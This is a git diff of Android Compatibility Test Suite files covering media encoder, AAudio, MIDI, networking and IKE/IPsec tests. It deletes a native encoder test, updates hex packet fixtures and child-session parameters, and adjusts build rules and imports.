diff --git a/tests/tests/media/src/android/media/cts/NativeEncoderTest.java b/tests/tests/media/src/android/media/cts/NativeEncoderTest.java
deleted file mode 100644
index 5cacfe1..0000000
--- a/tests/tests/media/src/android/media/cts/NativeEncoderTest.java
+++ /dev/null
@@ -1,203 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.cts.R;
-
-import android.content.res.AssetFileDescriptor;
-import android.content.res.Resources;
-import android.net.Uri;
-import android.os.Environment;
-import android.os.ParcelFileDescriptor;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import android.view.Surface;
-import android.webkit.cts.CtsTestServer;
-
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.BufferedInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileDescriptor;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.RandomAccessFile;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import java.util.UUID;
-
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class NativeEncoderTest extends MediaPlayerTestBase {
- private static final String TAG = "NativeEncoderTest";
- private static Resources mResources;
-
- private static final String MIME_AVC = "video/avc";
- private static final String MIME_HEVC = "video/hevc";
- private static final String MIME_VP8 = "video/x-vnd.on2.vp8";
-
- private static int mResourceVideo720p;
- private static int mResourceVideo360p;
-
- static {
- System.loadLibrary("ctsmediacodec_jni");
- }
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mResources = mContext.getResources();
-
- mResourceVideo720p =
- R.raw.bbb_s4_1280x720_webm_vp8_8mbps_30fps_opus_mono_64kbps_48000hz;
- mResourceVideo360p =
- R.raw.bbb_s1_640x360_webm_vp8_2mbps_30fps_vorbis_5ch_320kbps_48000hz;
- }
-
-
- private boolean testEncode(int res, String mime, int width, int height) {
- AssetFileDescriptor fd = mResources.openRawResourceFd(res);
-
- return testEncodeSurfaceNative(
- fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(),
- mime, width, height);
- }
- private static native boolean testEncodeSurfaceNative(int fd, long offset, long size,
- String mime, int width, int height);
-
- public void testEncodeSurfaceH264720p() throws Exception {
- boolean status = testEncode(mResourceVideo720p, MIME_AVC, 1280, 720);
- assertTrue("native encode error", status);
- }
- public void testEncodeSurfaceVp8720p() throws Exception {
- boolean status = testEncode(mResourceVideo720p, MIME_VP8, 1280, 720);
- assertTrue("native encode error", status);
- }
- public void testEncodeSurfaceHevc720p() throws Exception {
- boolean status = testEncode(mResourceVideo720p, MIME_HEVC, 1280, 720);
- assertTrue("native encode error", status);
- }
- public void testEncodeSurfaceH264360p() throws Exception {
- boolean status = testEncode(mResourceVideo360p, MIME_AVC, 640, 360);
- assertTrue("native encode error", status);
- }
- public void testEncodeSurfaceVp8360p() throws Exception {
- boolean status = testEncode(mResourceVideo360p, MIME_VP8, 640, 360);
- assertTrue("native encode error", status);
- }
- public void testEncodeSurfaceHevc360p() throws Exception {
- boolean status = testEncode(mResourceVideo360p, MIME_HEVC, 640, 360);
- assertTrue("native encode error", status);
- }
-
-
- private boolean testEncodeDynamicSyncFrame(int res, String mime, int width, int height) {
- AssetFileDescriptor fd = mResources.openRawResourceFd(res);
-
- return testEncodeSurfaceDynamicSyncFrameNative(
- fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(),
- mime, width, height);
- }
- private static native boolean testEncodeSurfaceDynamicSyncFrameNative(int fd, long offset, long size,
- String mime, int width, int height);
-
- public void testEncodeDynamicSyncFrameH264720p() throws Exception {
- boolean status = testEncodeDynamicSyncFrame(mResourceVideo720p, MIME_AVC, 1280, 720);
- assertTrue("native encode error", status);
- }
- public void testEncodeDynamicSyncFrameVp8720p() throws Exception {
- boolean status = testEncodeDynamicSyncFrame(mResourceVideo720p, MIME_VP8, 1280, 720);
- assertTrue("native encode error", status);
- }
- public void testEncodeDynamicSyncFrameHevc720p() throws Exception {
- boolean status = testEncodeDynamicSyncFrame(mResourceVideo720p, MIME_HEVC, 1280, 720);
- assertTrue("native encode error", status);
- }
- public void testEncodeDynamicSyncFrameH264360p() throws Exception {
- boolean status = testEncodeDynamicSyncFrame(mResourceVideo360p, MIME_AVC, 640, 360);
- assertTrue("native encode error", status);
- }
- public void testEncodeDynamicSyncFrameVp8360p() throws Exception {
- boolean status = testEncodeDynamicSyncFrame(mResourceVideo360p, MIME_VP8, 640, 360);
- assertTrue("native encode error", status);
- }
- public void testEncodeDynamicSyncFrameHevc360p() throws Exception {
- boolean status = testEncodeDynamicSyncFrame(mResourceVideo360p, MIME_HEVC, 640, 360);
- assertTrue("native encode error", status);
- }
-
-
- private boolean testEncodeDynamicBitrate(int res, String mime, int width, int height) {
- AssetFileDescriptor fd = mResources.openRawResourceFd(res);
-
- return testEncodeSurfaceDynamicBitrateNative(
- fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(),
- mime, width, height);
- }
- private static native boolean testEncodeSurfaceDynamicBitrateNative(int fd, long offset, long size,
- String mime, int width, int height);
-
- public void testEncodeDynamicBitrateH264720p() throws Exception {
- boolean status = testEncodeDynamicBitrate(mResourceVideo720p, MIME_AVC, 1280, 720);
- assertTrue("native encode error", status);
- }
- public void testEncodeDynamicBitrateVp8720p() throws Exception {
- boolean status = testEncodeDynamicBitrate(mResourceVideo720p, MIME_VP8, 1280, 720);
- assertTrue("native encode error", status);
- }
- public void testEncodeDynamicBitrateHevc720p() throws Exception {
- boolean status = testEncodeDynamicBitrate(mResourceVideo720p, MIME_HEVC, 1280, 720);
- assertTrue("native encode error", status);
- }
- public void testEncodeDynamicBitrateH264360p() throws Exception {
- boolean status = testEncodeDynamicBitrate(mResourceVideo360p, MIME_AVC, 640, 360);
- assertTrue("native encode error", status);
- }
- public void testEncodeDynamicBitrateVp8360p() throws Exception {
- boolean status = testEncodeDynamicBitrate(mResourceVideo360p, MIME_VP8, 640, 360);
- assertTrue("native encode error", status);
- }
- public void testEncodeDynamicBitrateHevc360p() throws Exception {
- boolean status = testEncodeDynamicBitrate(mResourceVideo360p, MIME_HEVC, 640, 360);
- assertTrue("native encode error", status);
- }
-
-
- private boolean testEncodePersistentSurface(int res, String mime, int width, int height) {
- AssetFileDescriptor fd = mResources.openRawResourceFd(res);
-
- return testEncodePersistentSurfaceNative(
- fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(),
- mime, width, height);
- }
-
- private static native boolean testEncodePersistentSurfaceNative(int fd, long offset, long size,
- String mime, int width, int height);
-
- public void testEncodePersistentSurface720p() throws Exception {
- boolean status = testEncodePersistentSurface(mResourceVideo720p, MIME_AVC, 1280, 720);
- assertTrue("native encode error", status);
- }
- public void testEncodePersistentSurface360p() throws Exception {
- boolean status = testEncodePersistentSurface(mResourceVideo360p, MIME_VP8, 640, 360);
- assertTrue("native encode error", status);
- }
-}
diff --git a/tests/tests/media/src/android/media/cts/SurfaceEncodeTimestampTest.java b/tests/tests/media/src/android/media/cts/SurfaceEncodeTimestampTest.java
index 097fe69..f15bb6e 100644
--- a/tests/tests/media/src/android/media/cts/SurfaceEncodeTimestampTest.java
+++ b/tests/tests/media/src/android/media/cts/SurfaceEncodeTimestampTest.java
@@ -27,6 +27,7 @@
import android.media.MediaCodecInfo.CodecCapabilities;
import android.media.MediaFormat;
import android.opengl.GLES20;
+import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
@@ -38,6 +39,7 @@
import android.util.Log;
import androidx.test.filters.SmallTest;
+import androidx.test.filters.SdkSuppress;
import java.util.Arrays;
import java.util.concurrent.CountDownLatch;
@@ -153,6 +155,7 @@
* compress) the output timestamp so that the output fps becomes that specified
* by KEY_FRAME_RATE.
*/
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
public void testCaptureFps() throws Throwable {
// test slow motion
testCaptureFps(120, false /*useFloatKey*/);
diff --git a/tests/tests/media/src/android/media/cts/VideoCodecTestBase.java b/tests/tests/media/src/android/media/cts/VideoCodecTestBase.java
index 82c8b18..7ba3541 100644
--- a/tests/tests/media/src/android/media/cts/VideoCodecTestBase.java
+++ b/tests/tests/media/src/android/media/cts/VideoCodecTestBase.java
@@ -832,8 +832,9 @@
if (out.outputGenerated) {
if ((out.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
Log.d(TAG, "Storing codec config separately");
- mCodecConfigs.add(
- ByteBuffer.allocate(out.buffer.length).put(out.buffer));
+ ByteBuffer csdBuffer = ByteBuffer.allocate(out.buffer.length).put(out.buffer);
+ csdBuffer.rewind();
+ mCodecConfigs.add(csdBuffer);
out.buffer = new byte[0];
}
if (out.buffer.length > 0) {
@@ -1480,8 +1481,9 @@
}
if ((out.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
Log.d(TAG, "Storing codec config separately");
- codecConfigs.add(
- ByteBuffer.allocate(out.buffer.length).put(out.buffer));
+ ByteBuffer csdBuffer = ByteBuffer.allocate(out.buffer.length).put(out.buffer);
+ csdBuffer.rewind();
+ codecConfigs.add(csdBuffer);
out.buffer = new byte[0];
}
@@ -1786,8 +1788,9 @@
}
if ((out.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
Log.d(TAG, "----Enc" + i + ". Storing codec config separately");
- codecConfigs.get(i).add(
- ByteBuffer.allocate(out.buffer.length).put(out.buffer));
+ ByteBuffer csdBuffer = ByteBuffer.allocate(out.buffer.length).put(out.buffer);
+ csdBuffer.rewind();
+ codecConfigs.get(i).add(csdBuffer);
out.buffer = new byte[0];
}
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
index 79cd3f6..4d9194f 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
@@ -274,8 +274,14 @@
AAudioStreamBuilder_setUsage(aaudioBuilder, systemUsage);
- // Get failed status when trying to create an AAudioStream using the Builder.
- ASSERT_EQ(AAUDIO_ERROR_ILLEGAL_ARGUMENT, AAudioStreamBuilder_openStream(aaudioBuilder, &aaudioStream));
+ aaudio_result_t result = AAudioStreamBuilder_openStream(aaudioBuilder, &aaudioStream);
+
+ // Get failed status when trying to create an AAudioStream using the Builder. There are two
+ // potential failures: one if the device doesn't support the system usage, and the other
+ // if it does but this test doesn't have the MODIFY_AUDIO_ROUTING permission required to
+ // use it.
+ ASSERT_TRUE(result == AAUDIO_ERROR_ILLEGAL_ARGUMENT
+ || result == AAUDIO_ERROR_INTERNAL);
AAudioStreamBuilder_delete(aaudioBuilder);
}
}
diff --git a/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java b/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java
index 32e46ac..62cc8a1 100644
--- a/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java
+++ b/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java
@@ -218,7 +218,6 @@
@Before
public void setUp() throws Exception {
if (!hasMidiSupport()) {
- Assert.assertTrue("FEATURE_MIDI Not Supported.", false);
return; // Not supported so don't test it.
}
@@ -231,7 +230,6 @@
@After
public void tearDown() throws Exception {
if (!hasMidiSupport()) {
- Assert.assertTrue("FEATURE_MIDI Not Supported.", false);
return; // Not supported so don't test it.
}
tearDownEchoServer();
@@ -256,6 +254,9 @@
@Test
public void test_AA_LibAMidiExists() throws Exception {
+ if (!hasMidiSupport()) {
+ return;
+ }
Assert.assertTrue("libamidi.so not found.", hasLibAMidi());
}
@@ -274,7 +275,6 @@
long timestamp = 0x0123765489ABFEDCL;
writeMidi(mTestContext, buffer, 0, buffer.length);
- Assert.assertTrue("Didn't get 1 send", getNumBytesSent(mTestContext) == buffer.length);
Assert.assertEquals("Didn't get right number of bytes sent",
buffer.length, getNumBytesSent(mTestContext));
}
diff --git a/tests/tests/net/Android.bp b/tests/tests/net/Android.bp
index 052ab26..112799b 100644
--- a/tests/tests/net/Android.bp
+++ b/tests/tests/net/Android.bp
@@ -36,19 +36,20 @@
"src/**/*.java",
"src/**/*.kt",
],
-
+ jarjar_rules: "jarjar-rules-shared.txt",
static_libs: [
"FrameworksNetCommonTests",
"TestNetworkStackLib",
- "core-tests-support",
"compatibility-device-util-axt",
+ "core-tests-support",
"cts-net-utils",
"ctstestrunner-axt",
"ctstestserver",
- "mockwebserver",
"junit",
"junit-params",
"libnanohttpd",
+ "mockwebserver",
+ "net-utils-framework-common",
"truth-prebuilt",
],
@@ -72,15 +73,15 @@
test_config_template: "AndroidTestTemplate.xml",
}
-// Networking CTS tests that have a min_sdk_version of the latest released SDK. These tests can
-// be installed on release devices at any point in the release cycle and are useful for qualifying
-// mainline modules on release devices.
+// Networking CTS tests that target the latest released SDK. These tests can be installed on release
+// devices at any point in the Android release cycle and are useful for qualifying mainline modules
+// on release devices.
android_test {
name: "CtsNetTestCasesLatestSdk",
defaults: ["CtsNetTestCasesDefaults"],
jni_uses_sdk_apis: true,
min_sdk_version: "29",
- target_sdk_version: "29",
+ target_sdk_version: "30",
test_suites: [
"device-tests",
"mts",
diff --git a/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionPskTest.java b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionPskTest.java
index 0509fc0..13f953a 100644
--- a/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionPskTest.java
+++ b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionPskTest.java
@@ -18,13 +18,14 @@
import static android.app.AppOpsManager.OP_MANAGE_IPSEC_TUNNELS;
import static android.net.ipsec.ike.exceptions.IkeProtocolException.ERROR_TYPE_AUTHENTICATION_FAILED;
-import static android.net.ipsec.ike.exceptions.IkeProtocolException.ERROR_TYPE_INTERNAL_ADDRESS_FAILURE;
import static android.net.ipsec.ike.exceptions.IkeProtocolException.ERROR_TYPE_NO_PROPOSAL_CHOSEN;
+import static android.net.ipsec.ike.exceptions.IkeProtocolException.ERROR_TYPE_TS_UNACCEPTABLE;
import static org.junit.Assert.assertArrayEquals;
import static org.junit.Assert.assertEquals;
import android.net.LinkAddress;
+import android.net.ipsec.ike.ChildSessionParams;
import android.net.ipsec.ike.IkeFqdnIdentification;
import android.net.ipsec.ike.IkeSession;
import android.net.ipsec.ike.IkeSessionParams;
@@ -84,7 +85,15 @@
+ "9352D71100777B00ABCC6BD7DBEA697827FFAAA48DF9A54D1D68161939F5DC8"
+ "6743A7CEB2BE34AC00095A5B8";
- private IkeSession openIkeSessionWithRemoteAddress(InetAddress remoteAddress) {
+ private IkeSession openIkeSessionWithTunnelModeChild(InetAddress remoteAddress) {
+ return openIkeSession(remoteAddress, buildTunnelModeChildSessionParams());
+ }
+
+ private IkeSession openIkeSessionWithTransportModeChild(InetAddress remoteAddress) {
+ return openIkeSession(remoteAddress, buildTransportModeChildParamsWithDefaultTs());
+ }
+
+ private IkeSession openIkeSession(InetAddress remoteAddress, ChildSessionParams childParams) {
IkeSessionParams ikeParams =
new IkeSessionParams.Builder(sContext)
.setNetwork(mTunNetwork)
@@ -98,7 +107,7 @@
return new IkeSession(
sContext,
ikeParams,
- buildTunnelModeChildSessionParams(),
+ childParams,
mUserCbExecutor,
mIkeSessionCallback,
mFirstChildSessionCallback);
@@ -124,7 +133,7 @@
if (!hasTunnelsFeature()) return;
// Open IKE Session
- IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
+ IkeSession ikeSession = openIkeSessionWithTunnelModeChild(mRemoteAddress);
performSetupIkeAndFirstChildBlocking(SUCCESS_IKE_INIT_RESP, SUCCESS_IKE_AUTH_RESP);
// IKE INIT and IKE AUTH takes two exchanges. Message ID starts from 2
@@ -222,7 +231,7 @@
setUpTestNetwork(mLocalAddress);
// Open IKE Session
- IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
+ IkeSession ikeSession = openIkeSessionWithTunnelModeChild(mRemoteAddress);
performSetupIkeAndFirstChildBlocking(
ikeInitResp,
1 /* expectedAuthReqPktCnt */,
@@ -258,7 +267,7 @@
if (!hasTunnelsFeature()) return;
// Open IKE Session
- IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
+ IkeSession ikeSession = openIkeSessionWithTunnelModeChild(mRemoteAddress);
performSetupIkeAndFirstChildBlocking(SUCCESS_IKE_INIT_RESP, SUCCESS_IKE_AUTH_RESP);
ikeSession.kill();
@@ -272,7 +281,7 @@
"46B8ECA1E0D72A180000000000000000292022200000000000000024000000080000000E";
// Open IKE Session
- IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
+ IkeSession ikeSession = openIkeSessionWithTransportModeChild(mRemoteAddress);
int expectedMsgId = 0;
mTunUtils.awaitReqAndInjectResp(
IKE_DETERMINISTIC_INITIATOR_SPI,
@@ -309,7 +318,7 @@
+ "AB6E4808BAC0CA1DAD6ADD0A126A41BD";
// Open IKE Session
- IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
+ IkeSession ikeSession = openIkeSessionWithTransportModeChild(mRemoteAddress);
performSetupIkeAndFirstChildBlocking(ikeInitRespHex, ikeAuthFailRespHex);
mFirstChildSessionCallback.awaitOnClosed();
@@ -322,27 +331,28 @@
@Test
public void testIkeAuthHandlesFirstChildCreationFail() throws Exception {
final String ikeInitRespHex =
- "46B8ECA1E0D72A182B300285DA19E6452120222000000000000001502200"
- + "00300000002C010100040300000C0100000C800E01000300000803000005"
- + "0300000802000004000000080400000228000088000200005C9DE629981F"
- + "DB1FC45DB6CCF15D076C1F51BD9F63C771DC089F05CCDE6247965D15C616"
- + "C7B5A62342491715E4D1FEA19326477D24143E8E56AB6AD93F54B19BC32A"
- + "44BC0A5B5632E57D0A3C43E466E1547D8E4EF65EA4B864A348161666E229"
- + "84975A486251A17C4F096A6D5CF3DB83874B70324A31AA7ADDE2D73BADD8"
- + "238029000024CF06260F7C4923295E7C91F2B8479212892DA7A519A0322F"
- + "F5B2BF570B92972B2900001C00004004C7ACC2C7D58CF8C9F5E953993AF4"
- + "6CAC976635B42900001C00004005B64B190DFE7BDE8B9B1475EDE67B63D6"
- + "F1DBBF44290000080000402E290000100000402F00020003000400050000"
+ "46B8ECA1E0D72A18F5ABBF896A1240BE2120222000000000000001502200"
+ + "00300000002C010100040300000C0100000C800E0100030000080300000C"
+ + "03000008020000050000000804000002280000880002000074950F016B85"
+ + "605E57E24651843AB70E41B552EDEE227DFE51E6CBEC00E75FFEFC7D5453"
+ + "109B15F721FCD811FC9F113BE06050882F2FC5F5FF25857E555CCFB5AB64"
+ + "8B0D1D7A819A3B05DE1FE89A4A627C60D5AA06CD0F66ACD3748722F9CD4F"
+ + "F30AE7477CBC12049821F07AD6C9F0ED732321A6A36FA817722E025AC34B"
+ + "ABE62900002432E3807F595070E95EDA341A787599B24B1151B535B0222B"
+ + "65C003401B9B38F82900001C000040043BB760DB3037B51768DFFAB4B21D"
+ + "B1716EA1C1382900001C0000400531098EB04DF1BE3F304606BD59B454A8"
+ + "CC7E7311290000080000402E290000100000402F00020003000400050000"
+ "000800004014";
final String ikeAuthCreateChildFailHex =
- "46B8ECA1E0D72A182B300285DA19E6452E202320000000010000008C2400"
- + "0070386FC9CCC67495A17915D0544390A2963A769F4A42C6FA668CEEC07F"
- + "EC0C87D681DE34267023DD394F1401B5A563E71002C0CE0928D0ABC0C4570"
- + "E39C2EDEF820F870AB71BD70A3F3EB5C96CA294B6D3F01677690DCF9F8CFC"
- + "9584650957573502BA83E32F18207A9ADEB1FA";
+ "46B8ECA1E0D72A18F5ABBF896A1240BE2E20232000000001000000B02400"
+ + "009400B0861242E0C88ECB3848D772B560CAD65B6AC9DFFDC8622A394B8E"
+ + "64E550BDD69FCD7E768129787ED9062992C1D6DB0F0631C2E05765B403CF"
+ + "EF1D0A055B32F6698FF7DB5B8FB1B6A83A81634D00E22C86E35B3BFBEC73"
+ + "EAC6806678926945BC7A57003DC1A3528A1EC423EE56C1075B36C0B57A6B"
+ + "C6DD990182F6FABFFA167D199C7D629E5B830AAD2AFBD31CEBA6";
// Open IKE Session
- IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
+ IkeSession ikeSession = openIkeSessionWithTransportModeChild(mRemoteAddress);
performSetupIkeAndFirstChildBlocking(ikeInitRespHex, ikeAuthCreateChildFailHex);
// Even though the child creation failed, the authentication succeeded, so the IKE Session's
@@ -352,7 +362,7 @@
// Verify Child Creation failed
IkeProtocolException protocolException =
(IkeProtocolException) mFirstChildSessionCallback.awaitOnClosedException();
- assertEquals(ERROR_TYPE_INTERNAL_ADDRESS_FAILURE, protocolException.getErrorType());
+ assertEquals(ERROR_TYPE_TS_UNACCEPTABLE, protocolException.getErrorType());
assertArrayEquals(EXPECTED_PROTOCOL_ERROR_DATA_NONE, protocolException.getErrorData());
ikeSession.kill();
diff --git a/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionTestBase.java b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionTestBase.java
index 2458b25..a81063b 100644
--- a/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionTestBase.java
+++ b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionTestBase.java
@@ -276,6 +276,13 @@
.build();
}
+ TransportModeChildSessionParams buildTransportModeChildParamsWithDefaultTs() {
+ return new TransportModeChildSessionParams.Builder()
+ .addSaProposal(SaProposalTest.buildChildSaProposalWithCombinedModeCipher())
+ .addSaProposal(SaProposalTest.buildChildSaProposalWithNormalModeCipher())
+ .build();
+ }
+
TunnelModeChildSessionParams buildTunnelModeChildSessionParams() {
return new TunnelModeChildSessionParams.Builder()
.addSaProposal(SaProposalTest.buildChildSaProposalWithNormalModeCipher())
diff --git a/tests/tests/net/jarjar-rules-shared.txt b/tests/tests/net/jarjar-rules-shared.txt
new file mode 100644
index 0000000..11dba74
--- /dev/null
+++ b/tests/tests/net/jarjar-rules-shared.txt
@@ -0,0 +1,2 @@
+# Module library in frameworks/libs/net
+rule com.android.net.module.util.** android.net.cts.util.@1
\ No newline at end of file
diff --git a/tests/tests/net/src/android/net/cts/CaptivePortalApiTest.kt b/tests/tests/net/src/android/net/cts/CaptivePortalApiTest.kt
index 68d5281..ef2b0ce 100644
--- a/tests/tests/net/src/android/net/cts/CaptivePortalApiTest.kt
+++ b/tests/tests/net/src/android/net/cts/CaptivePortalApiTest.kt
@@ -35,8 +35,6 @@
import android.net.dhcp.DhcpPacket.DHCP_MESSAGE_TYPE_DISCOVER
import android.net.dhcp.DhcpPacket.DHCP_MESSAGE_TYPE_REQUEST
import android.net.dhcp.DhcpRequestPacket
-import android.net.shared.Inet4AddressUtils.getBroadcastAddress
-import android.net.shared.Inet4AddressUtils.getPrefixMaskAsInet4Address
import android.os.Build
import android.os.HandlerThread
import android.platform.test.annotations.AppModeFull
@@ -44,6 +42,8 @@
import androidx.test.runner.AndroidJUnit4
import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
import com.android.compatibility.common.util.ThrowingRunnable
+import com.android.net.module.util.Inet4AddressUtils.getBroadcastAddress
+import com.android.net.module.util.Inet4AddressUtils.getPrefixMaskAsInet4Address
import com.android.server.util.NetworkStackConstants.IPV4_ADDR_ANY
import com.android.testutils.DevSdkIgnoreRule
import com.android.testutils.DhcpClientPacketFilter
diff --git a/tests/tests/net/src/android/net/cts/CaptivePortalTest.kt b/tests/tests/net/src/android/net/cts/CaptivePortalTest.kt
index 0816aba..4a7d38a1 100644
--- a/tests/tests/net/src/android/net/cts/CaptivePortalTest.kt
+++ b/tests/tests/net/src/android/net/cts/CaptivePortalTest.kt
@@ -41,6 +41,7 @@
import androidx.test.platform.app.InstrumentationRegistry.getInstrumentation
import androidx.test.runner.AndroidJUnit4
import com.android.compatibility.common.util.SystemUtil
+import com.android.testutils.isDevSdkInRange
import fi.iki.elonen.NanoHTTPD
import fi.iki.elonen.NanoHTTPD.Response.IStatus
import fi.iki.elonen.NanoHTTPD.Response.Status
@@ -105,6 +106,9 @@
@After
fun tearDown() {
clearTestUrls()
+ if (pm.hasSystemFeature(FEATURE_WIFI)) {
+ reconnectWifi()
+ }
server.stop()
}
@@ -167,7 +171,7 @@
assertNotEquals(network, cm.activeNetwork, wifiDefaultMessage)
val startPortalAppPermission =
- if (Build.VERSION.SDK_INT == Build.VERSION_CODES.Q) CONNECTIVITY_INTERNAL
+ if (isDevSdkInRange(0, Build.VERSION_CODES.Q)) CONNECTIVITY_INTERNAL
else NETWORK_SETTINGS
doAsShell(startPortalAppPermission) { cm.startCaptivePortalApp(network) }
assertTrue(portalContentRequestCv.block(TEST_TIMEOUT_MS), "The captive portal login " +
@@ -180,9 +184,6 @@
// disconnectFromCell should be called after connectToCell
utils.disconnectFromCell()
}
-
- clearTestUrls()
- reconnectWifi()
}
private fun setHttpsUrl(url: String?) = setConfig(TEST_CAPTIVE_PORTAL_HTTPS_URL_SETTING, url)
@@ -203,10 +204,8 @@
}
private fun reconnectWifi() {
- doAsShell(NETWORK_SETTINGS) {
- assertTrue(wm.disconnect())
- assertTrue(wm.reconnect())
- }
+ utils.ensureWifiDisconnected(null /* wifiNetworkToCheck */)
+ utils.ensureWifiConnected()
}
/**
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityDiagnosticsManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityDiagnosticsManagerTest.java
index 0248f97..8f42f79 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityDiagnosticsManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityDiagnosticsManagerTest.java
@@ -16,6 +16,7 @@
package android.net.cts;
+import static android.content.pm.PackageManager.FEATURE_TELEPHONY;
import static android.net.ConnectivityDiagnosticsManager.ConnectivityDiagnosticsCallback;
import static android.net.ConnectivityDiagnosticsManager.ConnectivityReport;
import static android.net.ConnectivityDiagnosticsManager.ConnectivityReport.KEY_NETWORK_PROBES_ATTEMPTED_BITMASK;
@@ -31,9 +32,11 @@
import static android.net.ConnectivityDiagnosticsManager.persistableBundleEquals;
import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_VPN;
import static android.net.NetworkCapabilities.NET_CAPABILITY_TRUSTED;
+import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
import static android.net.NetworkCapabilities.TRANSPORT_TEST;
import static android.net.cts.util.CtsNetUtils.TestNetworkCallback;
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
import static org.junit.Assert.assertEquals;
@@ -41,9 +44,15 @@
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
import android.annotation.NonNull;
+import android.content.BroadcastReceiver;
import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
import android.net.ConnectivityDiagnosticsManager;
import android.net.ConnectivityManager;
import android.net.LinkAddress;
@@ -55,25 +64,39 @@
import android.os.Binder;
import android.os.Build;
import android.os.IBinder;
+import android.os.ParcelFileDescriptor;
import android.os.PersistableBundle;
import android.os.Process;
+import android.platform.test.annotations.AppModeFull;
+import android.telephony.CarrierConfigManager;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
import android.util.Pair;
import androidx.test.InstrumentationRegistry;
+import com.android.internal.telephony.uicc.IccUtils;
+import com.android.internal.util.ArrayUtils;
import com.android.testutils.ArrayTrackRecord;
import com.android.testutils.DevSdkIgnoreRule.IgnoreUpTo;
import com.android.testutils.DevSdkIgnoreRunner;
+import com.android.testutils.SkipPresubmit;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.security.MessageDigest;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
@RunWith(DevSdkIgnoreRunner.class)
@IgnoreUpTo(Build.VERSION_CODES.Q) // ConnectivityDiagnosticsManager did not exist in Q
+@AppModeFull(reason = "CHANGE_NETWORK_STATE, MANAGE_TEST_NETWORKS not grantable to instant apps")
public class ConnectivityDiagnosticsManagerTest {
private static final int CALLBACK_TIMEOUT_MILLIS = 5000;
private static final int NO_CALLBACK_INVOKED_TIMEOUT = 500;
@@ -83,6 +106,8 @@
private static final int FAIL_RATE_PERCENTAGE = 100;
private static final int UNKNOWN_DETECTION_METHOD = 4;
private static final int FILTERED_UNKNOWN_DETECTION_METHOD = 0;
+ private static final int CARRIER_CONFIG_CHANGED_BROADCAST_TIMEOUT = 5000;
+ private static final int DELAY_FOR_ADMIN_UIDS_MILLIS = 2000;
private static final Executor INLINE_EXECUTOR = x -> x.run();
@@ -93,44 +118,71 @@
.removeCapability(NET_CAPABILITY_NOT_VPN)
.build();
- // Callback used to keep TestNetworks up when there are no other outstanding NetworkRequests
- // for it.
